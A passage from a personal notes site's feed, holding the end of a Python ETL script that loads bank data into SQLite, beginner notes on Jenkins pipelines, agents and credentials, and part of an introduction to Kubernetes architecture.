</span></span><span class="line"><span class="cl">        <span class="n">f</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">timestamp</span> <span class="o">+</span> <span class="s2">&#34; : &#34;</span> <span class="o">+</span> <span class="n">message</span> <span class="o">+</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Preliminaries complete. Initiating ETL process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">extracted_data</span> <span class="o">=</span> <span class="n">extract</span><span class="p">(</span><span class="n">WIKIPEDIA_BANK_URL</span><span class="p">,</span> <span class="n">TABLE_ATTRIBUTES</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data Extraction complete. Initiating transformation process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">transform_data</span> <span class="o">=</span> <span class="n">transform</span><span class="p">(</span><span class="n">extracted_data</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data Transformation complete. Initiating loading process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">load_to_csv</span><span class="p">(</span><span class="n">transform_data</span><span class="p">,</span> <span class="s2">&#34;banks.csv&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data load to CSV file complete. Initiating SQL connection.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">sql_connection</span> <span class="o">=</span> <span class="n">sqlite3</span><span class="o">.</span><span class="n">connect</span><span class="p">(</span><span class="n">DB_NAME</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;SQL Connection Initiated. Initiating loading process.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">load_to_db</span><span class="p">(</span><span class="n">transform_data</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">,</span> <span class="n">TABLE_NAME</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Data load to database complete. Running the query&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">query_statement</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;SELECT * FROM </span><span class="si">{</span><span class="n">TABLE_NAME</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">run_query</span><span class="p">(</span><span class="n">query_statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Run query 1 complete. Closing SQL connection.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">query_statement</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;SELECT AVG(NPR_Billion) FROM </span><span class="si">{</span><span class="n">TABLE_NAME</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">run_query</span><span class="p">(</span><span class="n">query_statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Run query 2 complete. Closing SQL connection.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">query_statement</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;SELECT * FROM </span><span class="si">{</span><span class="n">TABLE_NAME</span><span class="si">}</span><span class="s2"> LIMIT 5&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">run_query</span><span class="p">(</span><span class="n">query_statement</span><span class="p">,</span> <span class="n">sql_connection</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Run query 3 complete. Closing SQL connection.&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">sql_connection</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="n">log_progress</span><span class="p">(</span><span class="s2">&#34;Process Complete. Connection Closed.&#34;</span><span class="p">)</span>
</span></span></code></pre></div>
  


]]></content:encoded>
    </item>
    <item>
      <title>Jenkins 101</title>
      <link>https://sagarchamling.com/notes/jenkins-101/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/jenkins-101/</guid>
      <description>Jenkins Notes</description>
      <content:encoded><![CDATA[<h2 id="why">why?</h2>
<ul>
<li>ease of use
<ul>
<li>intuitive web interface</li>
<li>easy to navigate</li>
<li>documentation and examples included</li>
</ul>
</li>
<li>open source and free
<ul>
<li>free to install and use</li>
<li>open source</li>
</ul>
</li>
<li>extensibility
<ul>
<li>plugins add functionality</li>
<li>new features can be developed</li>
</ul>
</li>
</ul>
<h2 id="terminologies">terminologies</h2>
<h3 id="project-or-job">project or job</h3>
<ul>
<li>
<p>a user-configured description of the work that Jenkins will manage.</p>
</li>
<li>
<p>is an outlines for what we want Jenkins to do.</p>
</li>
<li>
<p>job and project used interchangeably.</p>
</li>
<li>
<p>build - one run of a project, a verb or a noun.</p>
</li>
<li>
<p>build step - a task inside a project.</p>
</li>
<li>
<p>build trigger - criteria for starting a build, manual or automatic.</p>
</li>
</ul>
<h3 id="plugins">plugins</h3>
<ul>
<li>a software package that extends jenkins&rsquo; core functionality.</li>
</ul>
<h2 id="pipelines">pipelines</h2>
<h3 id="scripted-pipeline">scripted pipeline</h3>
<ul>
<li>Groovy-based DSL</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">node <span class="o">{}</span>
</span></span></code></pre></div><h3 id="declarative-pipeline">declarative pipeline</h3>
<ul>
<li>specifically designed for configuring Jenkins projects as code.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pipeline <span class="o">{</span>
</span></span><span class="line"><span class="cl">    agent any
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    options <span class="o">{</span>
</span></span><span class="line"><span class="cl">        buildDiscarder<span class="o">(</span>logRotator<span class="o">(</span>daysToKeepStr: <span class="s1">&#39;10&#39;</span>, numToKeepStr: <span class="s1">&#39;10&#39;</span><span class="o">))</span>
</span></span><span class="line"><span class="cl">        timeout<span class="o">(</span>time: 12, unit: <span class="s1">&#39;HOURS&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">        timestamps<span class="o">()</span>
</span></span><span class="line"><span class="cl">    <span class="o">}</span>
</span></span><span class="line"><span class="cl">    triggers <span class="o">{</span>
</span></span><span class="line"><span class="cl">          cron <span class="s1">&#39;@midnight&#39;</span>
</span></span><span class="line"><span class="cl">    <span class="o">}</span>
</span></span><span class="line"><span class="cl">    stages <span class="o">{</span>
</span></span><span class="line"><span class="cl">        stage<span class="o">(</span><span class="s1">&#39;Initialize&#39;</span><span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">            steps <span class="o">{</span>
</span></span><span class="line"><span class="cl">                <span class="nb">echo</span> <span class="s1">&#39;Initializing..&#39;</span>
</span></span><span class="line"><span class="cl">            <span class="o">}</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">        stage<span class="o">(</span><span class="s1">&#39;Build&#39;</span><span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">            steps <span class="o">{</span>
</span></span><span class="line"><span class="cl">                <span class="nb">echo</span> <span class="s1">&#39;Building..&#39;</span>
</span></span><span class="line"><span class="cl">            <span class="o">}</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">        stage<span class="o">(</span><span class="s1">&#39;Test&#39;</span><span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">            steps <span class="o">{</span>
</span></span><span class="line"><span class="cl">                <span class="nb">echo</span> <span class="s1">&#39;Testing..&#39;</span>
</span></span><span class="line"><span class="cl">            <span class="o">}</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">        stage<span class="o">(</span><span class="s1">&#39;Deploy&#39;</span><span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">            steps <span class="o">{</span>
</span></span><span class="line"><span class="cl">                <span class="nb">echo</span> <span class="s1">&#39;Deploying....&#39;</span>
</span></span><span class="line"><span class="cl">            <span class="o">}</span>
</span></span><span class="line"><span class="cl">        <span class="o">}</span>
</span></span><span class="line"><span class="cl">    <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h3 id="agent">agent</h3>
<ul>
<li>specifies where pipeline steps will be running
<ul>
<li><code>any</code> - run on first available system.</li>
<li><code>label</code> - <code>{ label 'linux' }</code> - run on a system with this label.</li>
<li><code>docker</code> - <code>{ docker { image 'maven' } }</code> - run pipeline inside a docker container using the specified image.</li>
<li><code>none</code> - defer agent selection to stages. allows to use different agent for each state in the pipeline.</li>
</ul>
</li>
</ul>
<h3 id="stages-and-steps">stages and steps</h3>
<ul>
<li>specific parts of the process being automated.</li>
<li>use stages name: Build, Test, and Deploy</li>
<li>steps:
<ul>
<li><code>echo</code> - print message</li>
<li><code>git</code> - check out code from a Git repo</li>
<li><code>sh</code> - run a shell script or local command</li>
<li><code>archiveArtifacts</code> - archive artifacts.</li>
</ul>
</li>
</ul>
<h3 id="environment-variables">environment variables</h3>
<ul>
<li>named with all capital letters.</li>
<li>can be set globally (inside pipeline) or locally (inside stage).</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="nb">echo</span> env.MAX_SIZE
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;</span><span class="nv">$env</span><span class="s2">.MAX_SIZE&#34;</span>
</span></span><span class="line"><span class="cl"><span class="nb">echo</span> <span class="s2">&#34;</span><span class="si">${</span><span class="nv">env</span><span class="p">.MAX_SIZE</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span></code></pre></div><h3 id="currentbuild-variables">currentBuild variables</h3>
<ul>
<li>refers to the currently running build.</li>
<li>properties of variable named currentBuild:
<ul>
<li><code>currentBuild.startTimeInMillis</code></li>
<li><code>currentBuild.duration</code></li>
<li><code>currentBuild.currentResult</code></li>
</ul>
</li>
</ul>
<h3 id="parameter-variables">parameter variables</h3>
<ul>
<li>must include a name, default value, and description.</li>
<li>use all capital letters in the name for easy identification.</li>
<li>parameter types: string, text,boolean, choice and password</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">-&gt; params.PARAMETER_NAME
</span></span><span class="line"><span class="cl">-&gt; <span class="s2">&#34;</span><span class="si">${</span><span class="nv">params</span><span class="p">.PARAMETER_NAME</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">pipeline <span class="o">{</span>
</span></span><span class="line"><span class="cl">  agent any
</span></span><span class="line"><span class="cl">  parameters <span class="o">{</span>
</span></span><span class="line"><span class="cl">    ...
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl">  ...
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h3 id="conditional-expressions">conditional expressions</h3>
<ul>
<li>conditions for when:
<ul>
<li>branch</li>
<li>environment</li>
<li>expression</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">when <span class="o">{</span>
</span></span><span class="line"><span class="cl">  expression <span class="o">{</span>
</span></span><span class="line"><span class="cl">    params.ENVIRONMENT <span class="o">==</span> <span class="s1">&#39;PRODUCTION&#39;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h3 id="manual-approvals">manual approvals</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pipeline <span class="o">{</span>
</span></span><span class="line"><span class="cl">  agent any
</span></span><span class="line"><span class="cl">  stages <span class="o">{</span>
</span></span><span class="line"><span class="cl">    state<span class="o">(</span><span class="s1">&#39;XYZ&#39;</span><span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">      steps <span class="o">{</span>
</span></span><span class="line"><span class="cl">        input message: <span class="s1">&#39;Confirm deployment to production...&#39;</span>, ok <span class="s1">&#39;Deploy&#39;</span>
</span></span><span class="line"><span class="cl">      <span class="o">}</span>
</span></span><span class="line"><span class="cl">    <span class="o">}</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h2 id="pipeline-as-code">pipeline as code</h2>
<ul>
<li>captures project configuration as code.</li>
<li>Jenkinsfile (Pipeline script from SCM)</li>
<li>supports GitOps approach by using the repo as the single source of truth.</li>
<li>Changes are reviewed before being merged and applied using automation.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">pipeline <span class="o">{</span>
</span></span><span class="line"><span class="cl">  tools <span class="o">{</span>...<span class="o">}</span>
</span></span><span class="line"><span class="cl">  options <span class="o">{</span>...<span class="o">}</span>
</span></span><span class="line"><span class="cl">  triggers <span class="o">{</span>...<span class="o">}</span>
</span></span><span class="line"><span class="cl">  stages <span class="o">{</span>...<span class="o">}</span>
</span></span><span class="line"><span class="cl">  post <span class="o">{</span>...<span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h3 id="external-scripts">external scripts</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">sh<span class="o">(</span><span class="s1">&#39;./scripts/build.sh&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">bat<span class="o">(</span><span class="s1">&#39;..\scripts\build.bat&#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">dir<span class="o">(</span><span class="s2">&#34;</span><span class="si">${</span><span class="nv">env</span><span class="p">.WORKSPACE</span><span class="si">}</span><span class="s2">/environments/test&#34;</span><span class="o">)</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">  sh<span class="o">(</span><span class="s1">&#39;
</span></span></span><span class="line"><span class="cl"><span class="s1">    terraform init
</span></span></span><span class="line"><span class="cl"><span class="s1">    terraform plan
</span></span></span><span class="line"><span class="cl"><span class="s1">  &#39;</span><span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h2 id="distribute-builds-with-agents">distribute builds with agents</h2>
<ul>
<li>Jenkins controller provides a web interface to manage configuration.</li>
<li>best practice is to limit jobs that are run on the controller to free up resources.</li>
<li>Node: a server or system connected to a Jenkins controller.</li>
<li>Agent: a process running on a node that manages jobs and reports status to the Jenkins controller.</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-16993" hidden />
  <label for="zoomCheck-16993">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/jenkins-architecture.webp"
      alt="Jenkins Architecture"
       />
  </label>
</p>
<h3 id="ssh-nodes">ssh nodes</h3>
<ul>
<li>connect to servers using SSH keys</li>
<li>system must accept SSH connections</li>
<li>a user and key must be in place for Jenkins to use</li>
<li>Java must be installed.</li>
</ul>
<h3 id="docker-nodes">docker nodes</h3>
<ul>
<li>run jobs in new containers on every build</li>
</ul>
<h3 id="tips-for-using-nodes-and-agents">tips for using nodes and agents</h3>
<ul>
<li>agent configuration, start using label instead of <code>any</code>:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">agent <span class="o">{</span>
</span></span><span class="line"><span class="cl">  label <span class="s1">&#39;linux&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">agent <span class="o">{</span>
</span></span><span class="line"><span class="cl">  docker ...
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><ul>
<li>tool configuration, allowing more control over the version of specific tool:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">tools <span class="o">{</span>
</span></span><span class="line"><span class="cl">  maven <span class="s1">&#39;Maven-3.8.4&#39;</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><ul>
<li>checking out code when a job is associated with a repository:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">git branch: <span class="s1">&#39;master&#39;</span>,
</span></span><span class="line"><span class="cl">  url: <span class="s1">&#39;https://github.com/&lt;org&gt;/&lt;repo&gt;.git&#39;</span>
</span></span></code></pre></div><h2 id="securing-jenkins">securing Jenkins</h2>
<ul>
<li>out-of-the-box security
<ul>
<li>locked by default</li>
<li>initial admin password</li>
</ul>
</li>
<li>user accounts for individuals with usernames and passwords.</li>
</ul>
<h3 id="security-realms">security realms</h3>
<ul>
<li>controls how a person is authenticated to access resources.</li>
<li>provides an interface to manage identities and their authorization to use a resource.</li>
<li>Jenkins built-in user database is the default security realm.</li>
<li>Jenkins can delegate authorization to other realms.
<ul>
<li>LDAP</li>
<li>Unix/Linux users and groups.</li>
</ul>
</li>
</ul>
<h3 id="matrix-based-security">matrix-based security</h3>
<ul>
<li>enable with matrix authorization strategy plugin.</li>
<li>permissions are assigned per user.</li>
<li>permissions are assigned per action.</li>
<li>review &ldquo;Disable Access Control&rdquo; if you get locked out.</li>
</ul>
<blockquote>
<p>Note: Be sure to assign admin permissions to key accounts when implementing matrix-based security. Failing to assign permission correctly may lock out admin users.</p>
</blockquote>
<h3 id="project-based-permissions">project-based permissions</h3>
<ul>
<li>permissions are applied globally with matrix-based authorization.</li>
<li>project-based authorization can be used to limit permissions to specific jobs and folders.</li>
<li>enabled the same as matrix-based permissions.</li>
<li>additional permissions can be configured for individual projects.</li>
</ul>
<h3 id="secrets-and-credentials">secrets and credentials</h3>
<ul>
<li>Jenkins can store and manage sensitive information.</li>
<li>Sensitive information is referred to as a credential.</li>
<li>Types of credentials:
<ul>
<li>Usernames and passwords</li>
<li>SSH keys</li>
<li>Files</li>
<li>Text strings (API keys or security tokens.)</li>
</ul>
</li>
</ul>
<h4 id="accessing-credentials">accessing credentials</h4>
<ul>
<li><code>credentials()</code> - assigns values to one or more environment variables.</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">environment <span class="o">{</span>
</span></span><span class="line"><span class="cl">  <span class="nv">STRING</span> <span class="o">=</span> credentials<span class="o">(</span><span class="s1">&#39;secret-value&#39;</span><span class="o">)</span> <span class="c1"># string type</span>
</span></span><span class="line"><span class="cl">  <span class="nv">LOGIN</span> <span class="o">=</span> credentials<span class="o">(</span><span class="s1">&#39;login&#39;</span><span class="o">)</span> <span class="c1"># login type</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">env.STRING
</span></span><span class="line"><span class="cl">env.LOGIN - username:password
</span></span><span class="line"><span class="cl">env.LOGIN_USR - username
</span></span><span class="line"><span class="cl">env.LOGIN_PSW - password
</span></span></code></pre></div><ul>
<li><code>withCredentials() {}</code></li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">steps <span class="o">{</span>
</span></span><span class="line"><span class="cl">  withCredentials<span class="o">([</span>string<span class="o">(</span>credentialsId:<span class="s1">&#39;apiKey&#39;</span>, variable: <span class="s1">&#39;API_KEY&#39;</span><span class="o">)])</span> <span class="o">{</span>
</span></span><span class="line"><span class="cl">    sh <span class="s2">&#34;./build_script.sh </span><span class="si">${</span><span class="nv">env</span><span class="p">.API_KEY</span><span class="si">}</span><span class="s2">&#34;</span>
</span></span><span class="line"><span class="cl">  <span class="o">}</span>
</span></span><span class="line"><span class="cl"><span class="o">}</span>
</span></span></code></pre></div><h2 id="reference">reference</h2>
<ul>
<li><a href="https://www.linkedin.com/learning/jenkins-essential-training-17420152/challenge-configure-users-and-permissions">https://www.linkedin.com/learning/jenkins-essential-training-17420152/challenge-configure-users-and-permissions</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Kubernetes 101</title>
      <link>https://sagarchamling.com/notes/kubernetes-101/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://sagarchamling.com/notes/kubernetes-101/</guid>
      <description>Kubernetes Notes</description>
      <content:encoded><![CDATA[<h2 id="orchestration">Orchestration</h2>
<p>Container orchestration automates the container lifecycle of containerized applications resulting in faster deployments, reduced errors, higher availability, and more robust security. The <strong>container lifecycle include</strong>:</p>
<ul>
<li>Deployment</li>
<li>Management</li>
<li>Scaling</li>
<li>Networking</li>
<li>Availability</li>
</ul>
<p>Container orchestration is a critical part of an organization&rsquo;s orchestration, automation, and response (SOAR) requirements. <strong>Some features</strong>:</p>
<ul>
<li>Defines container images and registry</li>
<li>Improves provisioning and deployment</li>
<li>Secure network connectivity</li>
<li>Ensures availability and performance</li>
<li>Manages scalability and load balancing</li>
<li>Resource allocation and scheduling</li>
<li>Rolling updates and roll backs</li>
<li>Conducting health checks and automated error handling</li>
</ul>
<p><strong>Benefits</strong> of Container Orchestration:</p>
<ul>
<li>Increased Productivity</li>
<li>Faster Deployment</li>
<li>Reduced Costs</li>
<li>Stronger Security</li>
<li>Easier Scaling</li>
<li>Faster Error Recovery</li>
</ul>
<h3 id="how-it-works">How it works?</h3>
<p>
  
  <input type="checkbox" id="zoomCheck-ac2b7" hidden />
  <label for="zoomCheck-ac2b7">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/how-container-orchestration-works.webp"
      alt="How Container Orchestration Works"
       />
  </label>
</p>
<ul>
<li>uses <strong>configuration files</strong> written in YAML or JSON uses to find resources, establish a network and store logs</li>
<li>automatically <strong>schedules the deployment</strong> of new container to a cluster, finds the right host based on predefined settings or restrictions</li>
<li><strong>manages the container&rsquo;s lifecycle</strong> based on specifications in the configuration file includes system parameters (like CPU and memory), and file parameters (like proximity and file metadata)</li>
<li><strong>supports scaling and enhances productivity</strong>, through automation</li>
</ul>
<h3 id="tools">Tools</h3>
<ul>
<li>Apache Mesos&rsquo;s <strong>Marathon</strong> framework - open-source cluster manager, scales container infrastructure by automating the bulk of management and monitoring tasks</li>
<li>HashiCorp&rsquo;s <strong>Nomad</strong> - free, open-source cluster management and scheduling tools, supports various app types on all major operating systems</li>
<li><strong>Docker Swarm</strong> - open-source container orchestration platform, automates deployment of containerized apps, specifically to work with Docker Engine and other Docker tools</li>
<li>zGoogle&rsquo;s <strong>Kubernetes</strong> - standard for open-source container orchestration platforms, robust feature set, broadly supported, maintained by Cloud Native Computing Foundation (CNCF)</li>
</ul>
<h2 id="kubernetes">Kubernetes</h2>
<ul>
<li>referred as (k8s), is system for automating deployment,scaling, and management of containerized applications.</li>
<li>automates a host of container management tasks including
<ul>
<li>deployment,</li>
<li>storage provisioning,</li>
<li>load balancing and scaling,</li>
<li>service discovery, and</li>
<li>“self-healing”— the ability to restart, replace or remove a failed container.</li>
</ul>
</li>
</ul>
<h3 id="is-not">Is Not</h3>
<ul>
<li>traditional, all-inclusive as a service (PaaS)</li>
<li>rigid or opinionated but a flexible model that supports a diverse variety of workloads and containerized applications.</li>
<li>does not provide CI/CD pipelines to deploy source code or build applications</li>
<li>does not prescribe logging, monitoring, or alerting solutions</li>
<li>does not provide built-in middleware, databases, or other services</li>
</ul>
<h3 id="capabilities">Capabilities</h3>
<ul>
<li><strong>Automated rollouts</strong> of changes to application or configuration, health monitoring, ensures instances are running, and <strong>rolling back</strong> changes</li>
<li><strong>Storage orchestration</strong> that mounts a chosen storage system including local storage, network storage, or public cloud</li>
<li><strong>Horizontal scaling</strong> of workloads based on metrics, or via commands</li>
<li><strong>Automated bin packing</strong> that increases utilization and cost savings using a mix of critical and best-effort workloads. Automated bin packing performs container auto-placement based on resource requirements and conditions without sacrificing high availability (HA)</li>
<li><strong>Secret and configuration management</strong> of sensitive information including passwords, OAuth tokens, and SSH keys, and handles deployments and updates to secrets and configuration without rebuilding images</li>
<li>assigns both <strong>dual-stack IPv4 and IPv6 addresses</strong> to Pods and Services</li>
<li>manages <strong>batch execution</strong> and continuous integration workloads and automatically replaces failed containers</li>
<li><strong>self-heals</strong> failing or unresponsive containers, exposes containers to clients only if healthy and running</li>
<li><strong>discovers</strong> Pods using IP addresses or a DNS name, and <strong>load balances</strong> traffic for better performance and high availability</li>
<li>easily <strong>extensible</strong> by adding or providing additional features to Kubernetes cluster without modifying source code</li>
</ul>
<h3 id="concepts">Concepts</h3>
<p>
  
  <input type="checkbox" id="zoomCheck-6b7f9" hidden />
  <label for="zoomCheck-6b7f9">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubernetes-concept-part-one.webp"
      alt="Kubernetes Concept Part 1"
       />
  </label>


  
  <input type="checkbox" id="zoomCheck-f29a8" hidden />
  <label for="zoomCheck-f29a8">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubernetes-concept-part-two.webp"
      alt="Kubernetes Concept Part 2"
       />
  </label>
</p>
<h3 id="ecosystem">Ecosystem</h3>
<p>
  
  <input type="checkbox" id="zoomCheck-52f9f" hidden />
  <label for="zoomCheck-52f9f">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubernetes-ecosystem.webp"
      alt="Kubernetes Ecosystem"
       />
  </label>
</p>
<h3 id="architecture">Architecture</h3>
<ul>
<li>A deployment of Kubernetes is called a Kubernetes cluster, is a cluster of nodes that runs containerized applications</li>
<li>Each cluster has <strong>one master node</strong> (the Kubernetes Control Plane) and <strong>one or more worker nodes</strong></li>
</ul>
<h4 id="control-plane">Control Plane</h4>
<ul>
<li>The control plane maintains the intended cluster state by <strong>making decisions</strong> about the cluster and detecting and responding to events in the cluster</li>
</ul>
<blockquote>
<p>An example of a decision made by the control plane is the <strong>scheduling of workloads</strong>. An example of responding to an event is <strong>creating new resources</strong> when an application is deployed.</p>
</blockquote>
<p>
  
  <input type="checkbox" id="zoomCheck-42a7b" hidden />
  <label for="zoomCheck-42a7b">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubernetes-control-pane.webp"
      alt="Kubernetes Control Pane"
       />
  </label>
</p>
<h5 id="kube-api-server">kube-api-server</h5>
<ul>
<li>the <strong>Kubernetes API server</strong> exposes the Kubernetes API. The <strong>API server serves as the front-end</strong> for the control plane</li>
<li>all <strong>communication</strong> in the cluster utilizes this API, <strong>kube-apiserver</strong> which is designed to scale horizontally—by deploying more instances and balance traffic between them</li>
</ul>
<blockquote>
<p>An example the Kubernetes API server accepts commands to view or change the state of the cluster.</p>
</blockquote>
<h5 id="etcd">etcd</h5>
<ul>
<li>highly available, distributed key value store that contains all the cluster data</li>
<li>stores deployment configuration data, desired state, and meta data in a way that can be accessed in a common location</li>
<li>defines the state in a Kubernetes cluster, and the system works to bring the actual state to match the desired state</li>
</ul>
<h5 id="kube-scheduler">kube-scheduler</h5>
<ul>
<li>assigns newly created Pods to nodes, means it determines where workloads should run within the cluster</li>
<li>selects the most optimal node according to Kubernetes scheduling principles, configuration options, and available resources</li>
</ul>
<h5 id="kube-controller-manager">kube-controller manager</h5>
<ul>
<li>runs all the controller processes that monitor the cluster state</li>
<li>ensure the actual state of a cluster matches the desired state</li>
</ul>
<h5 id="cloud-controller-manager">cloud-controller manager</h5>
<ul>
<li>runs controllers that interact with the underlying cloud providers</li>
<li>effectively link clusters into a cloud provider’s API</li>
<li>allows both Kubernetes and the cloud providers to evolve freely without introducing dependencies on the other</li>
</ul>
<h4 id="worker-nodes">Worker Nodes</h4>
<ul>
<li>are the worker machines in a Kubernetes cluster, user applications are run on nodes, can be virtual or physical machines</li>
<li>are not created by Kubernetes itself, but rather by the cloud provider, allowing Kubernetes to run on a variety of infrastructures</li>
<li>are then managed by the control plane and contain the services necessary to run applications</li>
<li>include pods, which are the smallest deployment entity in Kubernetes; pods include one or more containers</li>
<li>containers share all the resources of the node and can communicate among themselves</li>
</ul>
<p>
  
  <input type="checkbox" id="zoomCheck-42bc8" hidden />
  <label for="zoomCheck-42bc8">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/kubernetes-worker-nodes.webp"
      alt="Kubernetes Worker Node"
       />
